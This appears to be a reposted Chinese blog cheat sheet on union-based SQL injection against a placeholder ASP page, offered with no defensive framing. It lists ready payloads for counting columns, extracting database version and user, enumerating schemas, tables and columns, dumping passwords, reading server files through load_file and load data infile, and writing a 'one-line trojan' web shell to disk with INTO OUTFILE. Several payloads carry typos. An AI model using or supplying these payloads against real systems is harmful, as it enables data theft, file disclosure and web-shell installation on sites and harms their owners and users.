SQL一般注入(一)

网站http://www.xxxx.com/xxxx/1.Asp?id=1

一、常规注入



1.猜字段:
  http://www.xxxx.com/xxxx/1.Asp?id=1+oder+by+n 2.查看mysql基本信息:   union+select 1,2,3,database()   或and 1=2 union select 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version()) 3.查询数据库:   and 1=2 union select 1,schema_name,3,4 from information_schema.schemata limit 1,1   或and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata 4.获取数据库下面的所有表明信息:查询表名   union+select+1,2,3,from+information_schema.tables+where+table_schema='数据库名字'   或union select 1,2,table_name,4 from information_schema.tables where table_schema=数据库的16进制编码 limit 1,1   或union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=数据库的16进制编码 5.获取表明下的用户信息:查询字段   union+select+1,2,3,from+information_columns.name+where+table_name='表明'   或union select 1,2,group_concat(column_name),4,from information_schema.columns where table_name=表名的16进制编码 and table_schema=数据库的16进制编码

6.获取指定用户数据信息   http://www.xxxx.com/xxxx/1.Aspid=1+union+select+1.password.3.4.from 数据库.表

7.mysql读取写入文件
必备条件:
  读:file权限必备
  写:1.绝对路径 2.union使用 3. 可以使用''
-------------------------读----------------------
读取方法mysql 3.X
  create table a(cmd text);
  load data infile 'c:\xxx\xxx\xxx.txt' into table a;
  select * from a;
mysql 4.x读取方法
  除上述方法还可以使用load_file()
  create table a(cmd text);
  insert into a(cmd) values(load_file('c:\ddd\ddd\ddd.txt'));
  select * from a;
mysql 5.x读取方法
  上述两种都可以
  读取文件技巧:
  load_file(char(32,26,56,66))
  load_file(0x633A5C626F6F742E696E69)
------------写--------------------------
  into outfile写文件
  union select 1,2,3,char(这里写入你转换成10进制或16进制的一句话木马代码),5,6,7,8,9,10,7 into outfile 'd:web90team.php'/*
  union select 1,2,3,load_file('d:weblogo123.jpg'),5,6,7,8,9,10,7 into outfile 'd:web90team.php'/*

  

原文地址:https://www.cnblogs.com/52xuege/p/9251920.html